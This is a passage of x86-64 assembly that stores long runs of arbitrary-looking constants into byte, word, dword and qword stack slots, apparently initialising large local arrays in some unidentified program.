mov word [rsp + 0x1104], ax
mov byte [rsp + 0x17f], 0x5e
mov dword [rsp + 0x4c84], 0x462
mov byte [rsp + 0x180], 0x6b
mov eax, 0x4fc
mov word [rsp + 0x1108], ax
mov dword [rsp + 0x4c88], 0x752
mov byte [rsp + 0x181], 0x72
mov byte [rsp + 0x182], 0xe8
mov eax, 0x642
mov word [rsp + 0x110c], ax
mov dword [rsp + 0x4c8c], 0x5440
mov byte [rsp + 0x183], 0xa9
mov byte [rsp + 0x184], 0x8f
mov dword [rsp + 0x4c90], 0x920
mov byte [rsp + 0x185], 0x27
movabs rax, 0x7180036778f926
mov qword [rsp + 0x98a8], rax
movabs rax, 0x74495fc526bd56
mov qword [rsp + 0x98b0], rax
mov byte [rsp + 0x186], 0xe
movabs rax, 0x7ba0d720277314
mov qword [rsp + 0x98b8], rax
movabs rax, 0x74dcac3a06f6cc
mov qword [rsp + 0x98c0], rax
mov eax, 0x2a8
mov word [rsp + 0x1110], ax
mov byte [rsp + 0x187], 0x33
mov byte [rsp + 0x188], 0xf6
mov byte [rsp + 0x189], 0x9d
movabs rax, 0x73e5b4c3e61dc1
mov qword [rsp + 0x98c8], rax
mov eax, 0x269
mov word [rsp + 0x1114], ax
movabs rax, 0x745831f57f417a
mov qword [rsp + 0x98d0], rax
movabs rax, 0x76cdfcb0ef3e0f
mov qword [rsp + 0x98d8], rax
mov byte [rsp + 0x18a], 9
mov dword [rsp + 0x4c94], 0x7cc
mov eax, 0x370
mov word [rsp + 0x1118], ax
mov eax, 0x59c
mov word [rsp + 0x111c], ax
mov eax, 0xd15
mov word [rsp + 0x1120], ax
mov eax, 0x733
mov word [rsp + 0x1124], ax
mov dword [rsp + 0x4c98], 0x5da1
mov dword [rsp + 0x4c9c], 0x1cf3
mov dword [rsp + 0x4ca0], 0x87ee
movabs rax, 0x7c58456e488eda
mov qword [rsp + 0x98e0], rax
mov dword [rsp + 0x4ca4], 0x31c7
movabs rax, 0x780d24579a29b0
mov qword [rsp + 0x98e8], rax
mov dword [rsp + 0x4ca8], 0x16c2
mov dword [rsp + 0x4cac], 0x8620
movabs rax, 0x77fafcbd04a152
mov qword [rsp + 0x98f0], rax
mov dword [rsp + 0x4cb0], 0x77f8
mov byte [rsp + 0x18b], 0x10
movabs rax, 0x71190a8c522f06
mov qword [rsp + 0x98f8], rax
mov eax, 0xf08
mov word [rsp + 0x1128], ax
mov byte [rsp + 0x18c], 0x4f
movabs rax, 0x7617887dd97902
mov qword [rsp + 0x9900], rax
movabs rax, 0x7ee727acb959dc
mov qword [rsp + 0x9908], rax
mov dword [rsp + 0x4cb4], 0xc6a4
mov eax, 0x552
mov word [rsp + 0x112c], ax
mov byte [rsp + 0x18d], 0x1e
mov byte [rsp + 0x18e], 0x3c
movabs rax, 0x7ca5c229384b32
mov qword [rsp + 0x9910], rax
movabs rax, 0x7429735732775e
mov qword [rsp + 0x9918], rax
mov byte [rsp + 0x18f], 0x4d
mov dword [rsp + 0x4cb8], 0xca1
movabs rax, 0x71853cef421d06
mov qword [rsp + 0x9920], rax
mov eax, 0xa70
mov word [rsp + 0x1130], ax
movabs rax, 0x77d72061fcc092
mov qword [rsp + 0x9928], rax
movabs rax, 0x7d5e914ce071b9
mov qword [rsp + 0x9930], rax
mov eax, 0xf0
mov word [rsp + 0x1134], ax
mov byte [rsp + 0x190], 0x37
movabs rax, 0x7de94813c536ed
mov qword [rsp + 0x9938], rax
mov dword [rsp + 0x4cbc], 0x6efa
mov eax, 0x5f8
mov word [rsp + 0x1138], ax
mov byte [rsp + 0x191], 0xe8
mov byte [rsp + 0x192], 0x2e
movabs rax, 0x719c6e30e6f1cf
mov qword [rsp + 0x9940], rax
movabs rax, 0x7a5c68aabfddec
mov qword [rsp + 0x9948], rax
mov dword [rsp + 0x4cc0], 0x6096
mov eax, 0xf69
mov word [rsp + 0x113c], ax
movabs rax, 0x7cc218e8d18fd0
mov qword [rsp + 0x9950], rax
movabs rax, 0x7243681b25fba5
mov qword [rsp + 0x9958], rax
mov dword [rsp + 0x4cc4], 0x1efd
mov eax, 0xdd7
mov word [rsp + 0x1140], ax
mov dword [rsp + 0x4cc8], 0x2e1d
movabs rax, 0x75683ef2b9f7d3
mov qword [rsp + 0x9960], rax
mov eax, 0x50c
mov word [rsp + 0x1144], ax
movabs rax, 0x77f10364b60f90
mov qword [rsp + 0x9968], rax
mov dword [rsp + 0x4ccc], 0x16ca
mov dword [rsp + 0x4cd0], 0x3fe5
movabs rax, 0x7319cbbb24c264
mov qword [rsp + 0x9970], rax
mov dword [rsp + 0x4cd4], 0x2dc4
mov eax, 0x81d
mov word [rsp + 0x1148], ax
mov dword [rsp + 0x4cd8], 0xcced
movabs rax, 0x79937ba7e1c713
mov qword [rsp + 0x9978], rax
mov byte [rsp + 0x193], 0x39
movabs rax, 0x7b14de8011abf5
mov qword [rsp + 0x9980], rax
mov dword [rsp + 0x4cdc], 0x1ec9
movabs rax, 0x743a0893316890
mov qword [rsp + 0x9988], rax
mov byte [rsp + 0x194], 0x56
mov eax, 0xf5d
mov word [rsp + 0x114c], ax
mov dword [rsp + 0x4ce0], 0x3828
mov byte [rsp + 0x195], 0x5e
mov eax, 0xdec
mov word [rsp + 0x1150], ax
mov eax, 0x33d
mov word [rsp + 0x1154], ax
movabs rax, 0x76ae1c477ef353
mov qword [rsp + 0x9990], rax
mov dword [rsp + 0x4ce4], 0x6bd3
movabs rax, 0x771ee92a7a0768
mov qword [rsp + 0x9998], rax
mov dword [rsp + 0x4ce8], 0x3e28
mov dword [rsp + 0x4cec], 0xdf9f
mov byte [rsp + 0x196], 0xa4
movabs rax, 0x769edc56eb7614
mov qword [rsp + 0x99a0], rax
mov eax, 0x6ce
mov word [rsp + 0x1158], ax
mov dword [rsp + 0x4cf0], 0xafd7
movabs rax, 0x7d26ee09a015f2
mov qword [rsp + 0x99a8], rax
mov eax, 0x215
mov word [rsp + 0x115c], ax
mov dword [rsp + 0x4cf4], 0x3c91
mov dword [rsp + 0x4cf8], 0x159f
movabs rax, 0x71862cbf22a51a
mov qword [rsp + 0x99b0], rax
mov byte [rsp + 0x197], 0x3b
movabs rax, 0x7ad2dfc2974745
mov qword [rsp + 0x99b8], rax
mov eax, 0xc2b
mov word [rsp + 0x1160], ax
mov eax, 0x2e0
mov word [rsp + 0x1164], ax
movabs rax, 0x71b820b65ec15a
mov qword [rsp + 0x99c0], rax
mov byte [rsp + 0x198], 0x7b
mov byte [rsp + 0x199], 0x31
movabs rax, 0x75591b92874f8f
mov qword [rsp + 0x99c8], rax
mov eax, 0x36d
mov word [rsp + 0x1168], ax
mov byte [rsp + 0x19a], 0x25
movabs rax, 0x725a66a77d623c
mov qword [rsp + 0x99d0], rax
movabs rax, 0x7774c3cf7ed87e
mov qword [rsp + 0x99d8], rax
movabs rax, 0x739895947123a7
mov qword [rsp + 0x99e0], rax
mov eax, 0xba7
mov word [rsp + 0x116c], ax
mov dword [rsp + 0x4cfc], 0x346c
mov eax, 0x560
mov word [rsp + 0x1170], ax
mov eax, 0x371
mov word [rsp + 0x1174], ax
mov eax, 0x383
mov word [rsp + 0x1178], ax
mov byte [rsp + 0x19b], 0x81
movabs rax, 0x770e39721e686a
mov qword [rsp + 0x99e8], rax
mov eax, 0x51d
mov word [rsp + 0x117c], ax
movabs rax, 0x7567be41df0ae0
mov qword [rsp + 0x99f0], rax
movabs rax, 0x7765b35a38927b
mov qword [rsp + 0x99f8], rax
movabs rax, 0x7e5278e58ef523
mov qword [rsp + 0x9a00], rax
mov dword [rsp + 0x4d00], 0x65be
mov eax, 0x373
mov word [rsp + 0x1180], ax
mov eax, 0x4e5
mov word [rsp + 0x1184], ax
movabs rax, 0x7dc320c5e678eb
mov qword [rsp + 0x9a08], rax
mov dword [rsp + 0x4d04], 0xe5e
mov byte [rsp + 0x19c], 5
mov eax, 0x7c2
mov word [rsp + 0x1188], ax
movabs rax, 0x74b1f48f12fb38
mov qword [rsp + 0x9a10], rax
mov dword [rsp + 0x4d08], 0xcffd
movabs rax, 0x78984f3a846c7d
mov qword [rsp + 0x9a18], rax
movabs rax, 0x761e0c7ad0cb86
mov qword [rsp + 0x9a20], rax
mov byte [rsp + 0x19d], 0xd8
mov byte [rsp + 0x19e], 4
movabs rax, 0x7c81e7d5f6d76b
mov qword [rsp + 0x9a28], rax
mov eax, 0x7b8
mov word [rsp + 0x118c], ax
movabs rax, 0x73d339ddc71fda
mov qword [rsp + 0x9a30], rax
mov byte [rsp + 0x19f], 0x3d
mov eax, 0x6ab
mov word [rsp + 0x1190], ax
movabs rax, 0x7e8e7289d008d0
mov qword [rsp + 0x9a38], rax
movabs rax, 0x726615c5194690
mov qword [rsp + 0x9a40], rax
mov dword [rsp + 0x4d0c], 0x339b
mov eax, 0x486
mov word [rsp + 0x1194], ax
mov eax, 0x76c
mov word [rsp + 0x1198], ax
movabs rax, 0x7cc85845d58cf4
mov qword [rsp + 0x9a48], rax
movabs rax, 0x7061ce058754ca
mov qword [rsp + 0x9a50], rax
mov eax, 0xf66
mov word [rsp + 0x119c], ax
mov byte [rsp + 0x1a0], 0x60
mov dword [rsp + 0x4d10], 0xc8ac
mov byte [rsp + 0x1a1], 0x6f
mov dword [rsp + 0x4d14], 0x5062
movabs rax, 0x741470d2a16727
mov qword [rsp + 0x9a58], rax
mov eax, 0x895
mov word [rsp + 0x11a0], ax
movabs rax, 0x70f3f2252cfb2c
mov qword [rsp + 0x9a60], rax
mov byte [rsp + 0x1a2], 0x4d
mov eax, 0x726
mov word [rsp + 0x11a4], ax
mov byte [rsp + 0x1a3], 6
mov eax, 0x55b
mov word [rsp + 0x11a8], ax
mov eax, 0x18c
mov word [rsp + 0x11ac], ax
mov byte [rsp + 0x1a4], 0x95
movabs rax, 0x7996e11bb49acd
mov qword [rsp + 0x9a68], rax
mov dword [rsp + 0x4d18], 0x57d2
mov eax, 0x327
mov word [rsp + 0x11b0], ax
mov dword [rsp + 0x4d1c], 0x69f7
mov dword [rsp + 0x4d20], 0x43d9
mov dword [rsp + 0x4d24], 0x498b
mov eax, 0x428
mov word [rsp + 0x11b4], ax
mov dword [rsp + 0x4d28], 0xb0a6
mov eax, 0x943
mov word [rsp + 0x11b8], ax
mov byte [rsp + 0x1a5], 0x34
mov byte [rsp + 0x1a6], 0x98
mov dword [rsp + 0x4d2c], 0x117b
movabs rax, 0x7041837abee1f7
mov qword [rsp + 0x9a70], rax
mov eax, 0xb86
mov word [rsp + 0x11bc], ax
movabs rax, 0x7cffe6a7331d42
mov qword [rsp + 0x9a78], rax
mov dword [rsp + 0x4d30], 0x3109
mov byte [rsp + 0x1a7], 0x8f
movabs rax, 0x70e6835b8826d4
mov qword [rsp + 0x9a80], rax
movabs rax, 0x76af7f34cbcdfd
mov qword [rsp + 0x9a88], rax
mov dword [rsp + 0x4d34], 0x6f3e
mov byte [rsp + 0x1a8], 0xb9
mov eax, 0x746
mov word [rsp + 0x11c0], ax
mov byte [rsp + 0x1a9], 0xfe
movabs rax, 0x7949df30b431c5
mov qword [rsp + 0x9a90], rax
movabs rax, 0x7c143bd8739b92
mov qword [rsp + 0x9a98], rax
movabs rax, 0x7404a72feb0fb1
mov qword [rsp + 0x9aa0], rax
movabs rax, 0x72b3bf58a0943a
mov qword [rsp + 0x9aa8], rax
mov byte [rsp + 0x1aa], 0x63
mov dword [rsp + 0x4d38], 0x1458
mov dword [rsp + 0x4d3c], 0xd3e5
movabs rax, 0x71dc6690cf7f55
mov qword [rsp + 0x9ab0], rax
mov eax, 0x82
mov word [rsp + 0x11c4], ax
mov dword [rsp + 0x4d40], 0xc12
movabs rax, 0x7816eb3f08cbf9
mov qword [rsp + 0x9ab8], rax
mov byte [rsp + 0x1ab], 0xa2
mov dword [rsp + 0x4d44], 0xb393
mov eax, 0x7a3
mov word [rsp + 0x11c8], ax
movabs rax, 0x73ead1f97957df
mov qword [rsp + 0x9ac0], rax
mov dword [rsp + 0x4d48], 0x10f7
mov byte [rsp + 0x1ac], 0x53
mov byte [rsp + 0x1ad], 0xa0
movabs rax, 0x7c0350467a4bc4
mov qword [rsp + 0x9ac8], rax
mov eax, 0xfd0
mov word [rsp + 0x11cc], ax
mov eax, 0x696
mov word [rsp + 0x11d0], ax
mov dword [rsp + 0x4d4c], 0xac7a
mov dword [rsp + 0x4d50], 0x7104
movabs rax, 0x79312d278ecb3a
mov qword [rsp + 0x9ad0], rax
mov eax, 0xfc1
mov word [rsp + 0x11d4], ax
mov eax, 0x2b2
mov word [rsp + 0x11d8], ax
mov dword [rsp + 0x4d54], 0x4d3f
mov eax, 0x860
mov word [rsp + 0x11dc], ax
mov byte [rsp + 0x1ae], 0xdc
mov byte [rsp + 0x1af], 0x70
mov eax, 0x495
mov word [rsp + 0x11e0], ax
mov eax, 0x3da
mov word [rsp + 0x11e4], ax
movabs rax, 0x75de2eba7cc91b
mov qword [rsp + 0x9ad8], rax
mov byte [rsp + 0x1b0], 0xd0
mov eax, 0x40f
mov word [rsp + 0x11e8], ax
mov byte [rsp + 0x1b1], 0x44
movabs rax, 0x7c4f012f8a9090
mov qword [rsp + 0x9ae0], rax
mov eax, 0x724
mov word [rsp + 0x11ec], ax
mov dword [rsp + 0x4d58], 0x3135
mov dword [rsp + 0x4d5c], 0x6eeb
movabs rax, 0x70dec3c1df03df
mov qword [rsp + 0x9ae8], rax
mov dword [rsp + 0x4d60], 0x16fc
mov eax, 0xa3
mov word [rsp + 0x11f0], ax
mov eax, 0x74b
mov word [rsp + 0x11f4], ax
mov dword [rsp + 0x4d64], 0x6b01
mov dword [rsp + 0x4d68], 0xd57f
mov byte [rsp + 0x1b2], 0xb3
mov dword [rsp + 0x4d6c], 0x31c5
movabs rax, 0x7695af2d74d7d6
mov qword [rsp + 0x9af0], rax
movabs rax, 0x7b2601c0c5b1fa
mov qword [rsp + 0x9af8], rax
mov byte [rsp + 0x1b3], 0xb3
mov byte [rsp + 0x1b4], 0xeb
movabs rax, 0x763357b1cb080a
mov qword [rsp + 0x9b00], rax
mov eax, 0x99c
mov word [rsp + 0x11f8], ax
mov eax, 0x4c0
mov word [rsp + 0x11fc], ax
movabs rax, 0x7e2cb750e41f6d
mov qword [rsp + 0x9b08], rax
mov eax, 0x273
mov word [rsp + 0x1200], ax
mov byte [rsp + 0x1b5], 0x18
mov eax, 0xdaa
mov word [rsp + 0x1204], ax
movabs rax, 0x75a4f9d69c28c6
mov qword [rsp + 0x9b10], rax
movabs rax, 0x7c29b6628ea2f9
mov qword [rsp + 0x9b18], rax
mov dword [rsp + 0x4d70], 0x27de
mov dword [rsp + 0x4d74], 0x29d
movabs rax, 0x7664dafef23bfb
mov qword [rsp + 0x9b20], rax
mov dword [rsp + 0x4d78], 0xa8a
movabs rax, 0x73c6230ef935fd
mov qword [rsp + 0x9b28], rax
mov byte [rsp + 0x1b6], 0xa
movabs rax, 0x775c7193d1e25e
mov qword [rsp + 0x9b30], rax
movabs rax, 0x78e96c593ce3b4
mov qword [rsp + 0x9b38], rax
mov dword [rsp + 0x4d7c], 0x93c1
mov byte [rsp + 0x1b7], 0x25
movabs rax, 0x77ce55a6548145
mov qword [rsp + 0x9b40], rax
movabs rax, 0x7b5e6f91f04425
mov qword [rsp + 0x9b48], rax
mov eax, 0x413
mov word [rsp + 0x1208], ax
movabs rax, 0x73d3b124856f02
mov qword [rsp + 0x9b50], rax
mov eax, 0x430
mov word [rsp + 0x120c], ax
mov byte [rsp + 0x1b8], 0xfd
mov eax, 0x761
mov word [rsp + 0x1210], ax
mov eax, 0x88
mov word [rsp + 0x1214], ax
mov byte [rsp + 0x1b9], 0x50
mov byte [rsp + 0x1ba], 0x6d
mov byte [rsp + 0x1bb], 0x50
mov byte [rsp + 0x1bc], 0x62
mov dword [rsp + 0x4d80], 0x8037
movabs rax, 0x77816420209523
mov qword [rsp + 0x9b58], rax
mov eax, 0x5ab
mov word [rsp + 0x1218], ax
mov eax, 0xcb8
mov word [rsp + 0x121c], ax
mov dword [rsp + 0x4d84], 0x33ee
mov byte [rsp + 0x1bd], 0x40
mov eax, 0xb20
mov word [rsp + 0x1220], ax
mov eax, 0x7dd
mov word [rsp + 0x1224], ax
mov eax, 0x3aa
mov word [rsp + 0x1228], ax
mov byte [rsp + 0x1be], 0xec
movabs rax, 0x7d8e50ca3e89d4
mov qword [rsp + 0x9b60], rax
mov eax, 0x6e
mov word [rsp + 0x122c], ax
mov eax, 0x682
mov word [rsp + 0x1230], ax
movabs rax, 0x73b176253c8c9a
mov qword [rsp + 0x9b68], rax
mov dword [rsp + 0x4d88], 0xb62b
mov dword [rsp + 0x4d8c], 0x5894
mov byte [rsp + 0x1bf], 0x3d
movabs rax, 0x7aec2f71ad7c80
mov qword [rsp + 0x9b70], rax
movabs rax, 0x770c7dab0d1790
mov qword [rsp + 0x9b78], rax
mov dword [rsp + 0x4d90], 0x70c3
mov dword [rsp + 0x4d94], 0x817a
mov dword [rsp + 0x4d98], 0x6a4c
mov dword [rsp + 0x4d9c], 0x2158
mov byte [rsp + 0x1c0], 2
movabs rax, 0x72ffcf4c9e0e29
mov qword [rsp + 0x9b80], rax
mov dword [rsp + 0x4da0], 0x7468
movabs rax, 0x7c799a7b14bf3f
mov qword [rsp + 0x9b88], rax
mov dword [rsp + 0x4da4], 0x2272
mov eax, 0x596
mov word [rsp + 0x1234], ax
mov byte [rsp + 0x1c1], 0x28
mov eax, 0x32c
mov word [rsp + 0x1238], ax
mov eax, 0x1d4
mov word [rsp + 0x123c], ax
mov dword [rsp + 0x4da8], 0x7fd9
mov byte [rsp + 0x1c2], 0x66
mov dword [rsp + 0x4dac], 0x1571
mov byte [rsp + 0x1c3], 0x28
movabs rax, 0x79c4834a991b37
mov qword [rsp + 0x9b90], rax
mov eax, 0xe7a
mov word [rsp + 0x1240], ax
movabs rax, 0x76fc17cb1af793
mov qword [rsp + 0x9b98], rax
mov dword [rsp + 0x4db0], 0x535d
movabs rax, 0x745cf832754408
mov qword [rsp + 0x9ba0], rax
mov eax, 0x5f6
mov word [rsp + 0x1244], ax
movabs rax, 0x71085f1822098d
mov qword [rsp + 0x9ba8], rax
mov byte [rsp + 0x1c4], 0x11
mov byte [rsp + 0x1c5], 0x7d
mov eax, 0x5f7
mov word [rsp + 0x1248], ax
mov eax, 0x1a5
mov word [rsp + 0x124c], ax
movabs rax, 0x79677e21903731
mov qword [rsp + 0x9bb0], rax
mov byte [rsp + 0x1c6], 0x85
movabs rax, 0x78179e1df15220
mov qword [rsp + 0x9bb8], rax
movabs rax, 0x7cb62b579618da
mov qword [rsp + 0x9bc0], rax
mov eax, 0x1e7
mov word [rsp + 0x1250], ax
mov eax, 0x65a
mov word [rsp + 0x1254], ax
mov eax, 0x6aa
mov word [rsp + 0x1258], ax
movabs rax, 0x76ad874493941f
mov qword [rsp + 0x9bc8], rax
mov dword [rsp + 0x4db4], 0x80d5
movabs rax, 0x7a5b237a4cee10
mov qword [rsp + 0x9bd0], rax
mov dword [rsp + 0x4db8], 0x725b
movabs rax, 0x7c24ee995156fc
mov qword [rsp + 0x9bd8], rax
mov byte [rsp + 0x1c7], 0x56
movabs rax, 0x77c70e894b6758
mov qword [rsp + 0x9be0], rax
mov dword [rsp + 0x4dbc], 0x5052
mov byte [rsp + 0x1c8], 0xf2
movabs rax, 0x74d96c8475a3df
mov qword [rsp + 0x9be8], rax
mov eax, 0x888
mov word [rsp + 0x125c], ax
movabs rax, 0x7a9c763c67b4dd
mov qword [rsp + 0x9bf0], rax
movabs rax, 0x71eef92c1cf414
mov qword [rsp + 0x9bf8], rax
mov dword [rsp + 0x4dc0], 0x6f42
mov dword [rsp + 0x4dc4], 0x5a47
mov eax, 0x5e8
mov word [rsp + 0x1260], ax
mov dword [rsp + 0x4dc8], 0x3791
mov dword [rsp + 0x4dcc], 0x5b0b
mov byte [rsp + 0x1c9], 0xa5
movabs rax, 0x7c25977c4afd0b
mov qword [rsp + 0x9c00], rax
movabs rax, 0x7cd311105a2294
mov qword [rsp + 0x9c08], rax
movabs rax, 0x7d96e67378e68e
mov qword [rsp + 0x9c10], rax
mov byte [rsp + 0x1ca], 0x32
movabs rax, 0x7190b6fb831387
mov qword [rsp + 0x9c18], rax
mov byte [rsp + 0x1cb], 0xd8
movabs rax, 0x72a16f15c5b1c7
mov qword [rsp + 0x9c20], rax
mov eax, 0x1d4
mov word [rsp + 0x1264], ax
movabs rax, 0x7ba34cf114120d
mov qword [rsp + 0x9c28], rax
mov eax, 0x59f
mov word [rsp + 0x1268], ax
movabs rax, 0x765825582be3c0
mov qword [rsp + 0x9c30], rax
movabs rax, 0x785fa82f6a95d6
mov qword [rsp + 0x9c38], rax
mov dword [rsp + 0x4dd0], 0x759
mov byte [rsp + 0x1cc], 0xfe
mov eax, 0x54c
mov word [rsp + 0x126c], ax
mov byte [rsp + 0x1cd], 0xe0
mov byte [rsp + 0x1ce], 0x10
mov dword [rsp + 0x4dd4], 0x29f6
mov dword [rsp + 0x4dd8], 0x9e5e
mov dword [rsp + 0x4ddc], 0x5e67
mov dword [rsp + 0x4de0], 0xde7
movabs rax, 0x737bf54c55cd2c
mov qword [rsp + 0x9c40], rax
mov eax, 0x1a1
mov word [rsp + 0x1270], ax
movabs rax, 0x794e3a1759d7bf
mov qword [rsp + 0x9c48], rax
mov dword [rsp + 0x4de4], 0x522d
mov byte [rsp + 0x1cf], 0x2a
mov byte [rsp + 0x1d0], 2
movabs rax, 0x7b038b1b0f39fc
mov qword [rsp + 0x9c50], rax
mov byte [rsp + 0x1d1], 0x17
mov eax, 0x2b3
mov word [rsp + 0x1274], ax
mov dword [rsp + 0x4de8], 0x509
mov eax, 0x56c
mov word [rsp + 0x1278], ax
mov eax, 0x6c4
mov word [rsp + 0x127c], ax
movabs rax, 0x7db0c5e649b4cd
mov qword [rsp + 0x9c58], rax
mov dword [rsp + 0x4dec], 0x2c09
mov byte [rsp + 0x1d2], 0x36
movabs rax, 0x7eb09aacd22159
mov qword [rsp + 0x9c60], rax
movabs rax, 0x7330e3fae7aac3
mov qword [rsp + 0x9c68], rax
mov dword [rsp + 0x4df0], 0xc149
mov dword [rsp + 0x4df4], 0x330
mov dword [rsp + 0x4df8], 0x1e38
mov dword [rsp + 0x4dfc], 0x391f
mov eax, 0x1c1
mov word [rsp + 0x1280], ax
mov byte [rsp + 0x1d3], 0xe9
movabs rax, 0x76225a3c43d08e
mov qword [rsp + 0x9c70], rax
mov byte [rsp + 0x1d4], 0x31
mov byte [rsp + 0x1d5], 0x1c
mov dword [rsp + 0x4e00], 0xc62f
mov byte [rsp + 0x1d6], 0x75
movabs rax, 0x778f6a4a005cb3
mov qword [rsp + 0x9c78], rax
movabs rax, 0x72dc6a6e813c14
mov qword [rsp + 0x9c80], rax
mov dword [rsp + 0x4e04], 0x35fe
mov dword [rsp + 0x4e08], 0x7490
movabs rax, 0x738fc8aeecc1ef
mov qword [rsp + 0x9c88], rax
mov byte [rsp + 0x1d7], 0xe1
movabs rax, 0x774006ff7b721c
mov qword [rsp + 0x9c90], rax
mov eax, 0xf30
mov word [rsp + 0x1284], ax
mov eax, 0x2f4
mov word [rsp + 0x1288], ax
mov dword [rsp + 0x4e0c], 0x35f2
mov eax, 0x54b
mov word [rsp + 0x128c], ax
movabs rax, 0x70db8ee6c70677
mov qword [rsp + 0x9c98], rax
mov eax, 0xf11
mov word [rsp + 0x1290], ax
movabs rax, 0x744b0bc9241ed0
mov qword [rsp + 0x9ca0], rax
mov eax, 0x5e8
mov word [rsp + 0x1294], ax
mov dword [rsp + 0x4e10], 0xefec
mov byte [rsp + 0x1d8], 0xe1
movabs rax, 0x71d183fccdd677
mov qword [rsp + 0x9ca8], rax
mov dword [rsp + 0x4e14], 0x366f
mov dword [rsp + 0x4e18], 0x3b9d
mov dword [rsp + 0x4e1c], 0x1e42
mov byte [rsp + 0x1d9], 0xfb
mov eax, 0xdfe
mov word [rsp + 0x1298], ax
mov dword [rsp + 0x4e20], 0xf63
mov eax, 0x5f7
mov word [rsp + 0x129c], ax
movabs rax, 0x74141e04268fe6
mov qword [rsp + 0x9cb0], rax
mov byte [rsp + 0x1da], 0x88
mov byte [rsp + 0x1db], 0x44
movabs rax, 0x71ad2fad96c3f5
mov qword [rsp + 0x9cb8], rax
movabs rax, 0x740ebd3d42501a
mov qword [rsp + 0x9cc0], rax
mov byte [rsp + 0x1dc], 2
movabs rax, 0x79894223779423
mov qword [rsp + 0x9cc8], rax
movabs rax, 0x7111ad55e8327b
mov qword [rsp + 0x9cd0], rax
mov dword [rsp + 0x4e24], 0x57e
movabs rax, 0x78a041de8e2b03
mov qword [rsp + 0x9cd8], rax
movabs rax, 0x70cc8c9e6262b8
mov qword [rsp + 0x9ce0], rax
mov dword [rsp + 0x4e28], 0x10a5
movabs rax, 0x7b1db5b62b63e4
mov qword [rsp + 0x9ce8], rax
mov eax, 0x732
mov word [rsp + 0x12a0], ax
mov dword [rsp + 0x4e2c], 0xf762
mov eax, 0x909
mov word [rsp + 0x12a4], ax
mov eax, 0x3ac
mov word [rsp + 0x12a8], ax
mov dword [rsp + 0x4e30], 0x4802
movabs rax, 0x7eef2fc0d8c677
mov qword [rsp + 0x9cf0], rax
mov byte [rsp + 0x1dd], 0xe4
mov dword [rsp + 0x4e34], 0x586a
mov eax, 0x5b2
mov word [rsp + 0x12ac], ax
mov dword [rsp + 0x4e38], 0x3b0d
mov eax, 0x306
mov word [rsp + 0x12b0], ax
mov eax, 0xacf
mov word [rsp + 0x12b4], ax
mov dword [rsp + 0x4e3c], 0x4a21
mov eax, 0x5b8
mov word [rsp + 0x12b8], ax
movabs rax, 0x7caa691e4c38a3
mov qword [rsp + 0x9cf8], rax
movabs rax, 0x7ce483f5afab60
mov qword [rsp + 0x9d00], rax
movabs rax, 0x71ebf760c11055
mov qword [rsp + 0x9d08], rax
mov eax, 0x677
mov word [rsp + 0x12bc], ax
movabs rax, 0x71937f65716026
mov qword [rsp + 0x9d10], rax
mov dword [rsp + 0x4e40], 0x29b3
mov byte [rsp + 0x1de], 0x9a
mov eax, 0x8e
mov word [rsp + 0x12c0], ax
movabs rax, 0x7e1f27edb643b1
mov qword [rsp + 0x9d18], rax
mov eax, 0x77f
mov word [rsp + 0x12c4], ax
movabs rax, 0x7cd8ca49da5797
mov qword [rsp + 0x9d20], rax
mov eax, 0x822
mov word [rsp + 0x12c8], ax
mov dword [rsp + 0x4e44], 0x7d00
movabs rax, 0x7a3e0b5ab2f211
mov qword [rsp + 0x9d28], rax
mov eax, 0xada
mov word [rsp + 0x12cc], ax
mov dword [rsp + 0x4e48], 0x75b0
mov dword [rsp + 0x4e4c], 0x709d
movabs rax, 0x71c7e803fcfca6
mov qword [rsp + 0x9d30], rax
movabs rax, 0x778c1ddf6787a0
mov qword [rsp + 0x9d38], rax
movabs rax, 0x74cd301cee671c
mov qword [rsp + 0x9d40], rax
movabs rax, 0x77ac9e23b1f4e7
mov qword [rsp + 0x9d48], rax
mov byte [rsp + 0x1df], 0
mov byte [rsp + 0x1e0], 0xec
mov eax, 0x3c4
mov word [rsp + 0x12d0], ax
movabs rax, 0x71f8e4000bb008
mov qword [rsp + 0x9d50], rax
movabs rax, 0x7453951d1481d3
mov qword [rsp + 0x9d58], rax
mov byte [rsp + 0x1e1], 0xa7
mov eax, 0xd15
mov word [rsp + 0x12d4], ax
mov dword [rsp + 0x4e50], 0xee12
movabs rax, 0x7c82a0940de508
mov qword [rsp + 0x9d60], rax
mov dword [rsp + 0x4e54], 0x2319
movabs rax, 0x7e1d9e03fe0a31
mov qword [rsp + 0x9d68], rax
mov dword [rsp + 0x4e58], 0x4500
mov dword [rsp + 0x4e5c], 0x3d7a
mov dword [rsp + 0x4e60], 0x4e1
mov eax, 0xca1
mov word [rsp + 0x12d8], ax
mov byte [rsp + 0x1e2], 0x41
mov byte [rsp + 0x1e3], 0x4b
movabs rax, 0x798421c2cc4a29
mov qword [rsp + 0x9d70], rax
mov dword [rsp + 0x4e64], 0x8f94
movabs rax, 0x72befafd3a8369
mov qword [rsp + 0x9d78], rax
mov eax, 0xc23
mov word [rsp + 0x12dc], ax
movabs rax, 0x735cf6123a6cc5
mov qword [rsp + 0x9d80], rax
movabs rax, 0x755ad30f2274c9
mov qword [rsp + 0x9d88], rax
mov byte [rsp + 0x1e4], 0x61
mov eax, 0xd3c
mov word [rsp + 0x12e0], ax
mov dword [rsp + 0x4e68], 0x1bd8
movabs rax, 0x725d79ba7f9d7c
mov qword [rsp + 0x9d90], rax
mov eax, 0x71
mov word [rsp + 0x12e4], ax
mov byte [rsp + 0x1e5], 0xc
movabs rax, 0x79a36aeca46354
mov qword [rsp + 0x9d98], rax
mov eax, 0xf64
mov word [rsp + 0x12e8], ax
mov byte [rsp + 0x1e6], 0x19
movabs rax, 0x77ee9359e99dee
mov qword [rsp + 0x9da0], rax
mov byte [rsp + 0x1e7], 0x10
movabs rax, 0x767b2977ad0b4c
mov qword [rsp + 0x9da8], rax
mov dword [rsp + 0x4e6c], 0x7409
mov dword [rsp + 0x4e70], 0x9946
mov eax, 0x567
mov word [rsp + 0x12ec], ax
mov byte [rsp + 0x1e8], 0x7c
mov eax, 0x48c
mov word [rsp + 0x12f0], ax
mov byte [rsp + 0x1e9], 0x95
movabs rax, 0x787aaceda22add
mov qword [rsp + 0x9db0], rax
mov dword [rsp + 0x4e74], 0x1e94
mov eax, 0x702
mov word [rsp + 0x12f4], ax
movabs rax, 0x7b852f32ca2a63
mov qword [rsp + 0x9db8], rax
mov byte [rsp + 0x1ea], 0x92
movabs rax, 0x742f2d918156a6
mov qword [rsp + 0x9dc0], rax
mov byte [rsp + 0x1eb], 0xbf
movabs rax, 0x7285bed623ea50
mov qword [rsp + 0x9dc8], rax
